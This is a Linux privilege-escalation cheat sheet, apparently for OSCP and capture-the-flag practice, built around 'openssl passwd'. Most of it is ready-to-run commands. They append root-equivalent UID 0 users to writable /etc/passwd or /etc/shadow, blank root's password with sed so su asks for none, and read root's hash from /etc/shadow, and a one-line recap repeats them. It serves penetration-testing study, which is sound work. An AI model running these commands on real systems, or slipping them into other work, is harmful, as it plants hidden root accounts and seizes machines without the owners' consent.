openssl passwd — Linux Password Hashes (Privesc)
Ctrl+F:
openssl passwd -6·-1·/etc/passwd· new root user ·$6$· writable passwd
Generate crypt(3) password hashes for Linux /etc/passwd and /etc/shadow entries. Used when you can write those files and need a login password (or hash-only line).
Full OpenSSL toolkit → OpenSSL · other hash types → Manual Hash Generation
Install
Preinstalled on Kali and most Linux targets:
which openssl
openssl passwd -helpSyntax
openssl passwd [options] [password]
openssl passwd -6 "NewPassword123!"
echo -n 'password' | openssl passwd -6 -stdinOne-liner (MD5 — shorter hash, older boxes):
echo "root2:$(openssl passwd -1 password):0:0:root:/root:/bin/bash" | tee -a /etc/passwd
su root2📌 1) Hash types (which flag?)
| Flag | Algorithm | Hash prefix | Typical use |
|---|---|---|---|
-1 | MD5 crypt | $1$... | Older Linux, OSCP boxes, quick privesc |
-5 | SHA-256 crypt | $5$... | Less common |
-6 | SHA-512 crypt | $6$... | Modern default (same as /etc/shadow) |
-apr1 | Apache MD5 | $apr1$... | .htpasswd, web auth |
# SHA-512 — modern (recommended when shadow uses $6$)
openssl passwd -6 "NewPassword123!"
# $6$rounds=5000$saltstring$...
# MD5 — still very common on exam-style boxes
openssl passwd -1 "password123"
# $1$saltstring$...
# From stdin (no echo in shell history)
echo -n 'NewPassword123!' | openssl passwd -6 -stdinHashcat: md5crypt -m 500 · sha512crypt -m 1800
📌 2) Add a new root user — writable /etc/passwd
If /etc/passwd is world-writable or you can append via sudo misconfig:
# Generate hash
HASH=$(openssl passwd -6 "NewPassword123!")
echo $HASH
# Append root-equivalent user (UID 0)
echo "newroot:${HASH}:0:0:root:/root:/bin/bash" | tee -a /etc/passwd
# Login
su newroot
# Password: NewPassword123!One-liner (MD5 — shorter hash, older boxes):
echo "root2:$(openssl passwd -1 password):0:0:root:/root:/bin/bash" | tee -a /etc/passwd
su root2→ Linux > 📌 7) Writable /etc/passwd
Field reference (/etc/passwd)
username:password_hash:UID:GID:comment:home:shell
newroot:$6$...:0:0:root:/root:/bin/bash| Field | Root user value |
|---|---|
| UID | 0 (root privileges) |
| GID | 0 |
| home | /root |
| shell | /bin/bash or /bin/sh |
📌 3) Writable /etc/shadow (preferred on modern systems)
Password hashes usually live in /etc/shadow, not /etc/passwd (which often shows x).
HASH=$(openssl passwd -6 "NewPassword123!")
# /etc/passwd line — password field is 'x'
echo "newroot:x:0:0:root:/root:/bin/bash" | tee -a /etc/passwd
# /etc/shadow line — actual hash
echo "newroot:${HASH}:19000:0:99999:7:::" | tee -a /etc/shadow
su newrootShadow fields (simplified): name:hash:lastchg:min:max:warn:inactive:expire:
📌 4) No password — empty hash (instant su)
If the box allows empty password field (rare, but seen in CTF):
echo 'root2::0:0:root:/root:/bin/bash' | tee -a /etc/passwd
su root2 # no password promptOr overwrite existing user:
# Backup first
cp /etc/passwd /tmp/passwd.bak
sed -i 's/^root:.*$/root::0:0:root:\/root:\/bin\/bash/' /etc/passwd
su root📌 5) Custom salt
# Explicit salt (reproducible hash — same salt + pass = same hash)
openssl passwd -1 -salt test1 test1
# $1$test1$...
openssl passwd -6 -salt xyz123 "NewPassword123!"
openssl passwd -1 -salt ab "password"Salt appears in hash: $1$test1$... · $6$xyz123$...
Lab pattern: password and salt both test1 → openssl passwd -1 -salt test1 test1
📌 6) Copy root’s hash (if you can read shadow)
If you can read /etc/shadow but not write — crack offline or reuse hash on another user you control:
grep '^root:' /etc/shadow
# root:$6$longhash...:...
# Give your user root's hash (if passwd writable)
grep '^root:' /etc/shadow | cut -d: -f2 # copy hash only📌 7) Verify hash works
# Generate
openssl passwd -6 "testpass"
# Python verify (optional)
python3 -c "import crypt; print(crypt.crypt('testpass', '\$6\$salt'))"📌 8) Common mistakes
| Mistake | Fix |
|---|---|
| Password in passwd but system uses shadow | Write hash to /etc/shadow, set passwd field to x |
| UID not 0 | Set :0:0: for root equiv |
su fails — account locked | Check /etc/shadow expiry fields; use fresh line |
| Special chars in password | Quote: openssl passwd -6 'P@ss!word' |
| Echo adds newline | Use echo -n 'pass' | openssl passwd -6 -stdin |
📌 Quick Cheat Sheet
# Generate SHA-512 hash
openssl passwd -6 "NewPassword123!"
openssl passwd -6 "NewPassword123!" # copy output
# MD5 (OSCP classic)
openssl passwd -1 password123
openssl passwd -1 -salt test1 test1
# Add root user (writable /etc/passwd)
echo "newroot:$(openssl passwd -6 'NewPassword123!'):0:0:root:/root:/bin/bash" | tee -a /etc/passwd
su newroot
# Writable shadow path
HASH=$(openssl passwd -6 "NewPassword123!")
echo "newroot:x:0:0:root:/root:/bin/bash" | tee -a /etc/passwd
echo "newroot:${HASH}:19000:0:99999:7:::" | tee -a /etc/shadow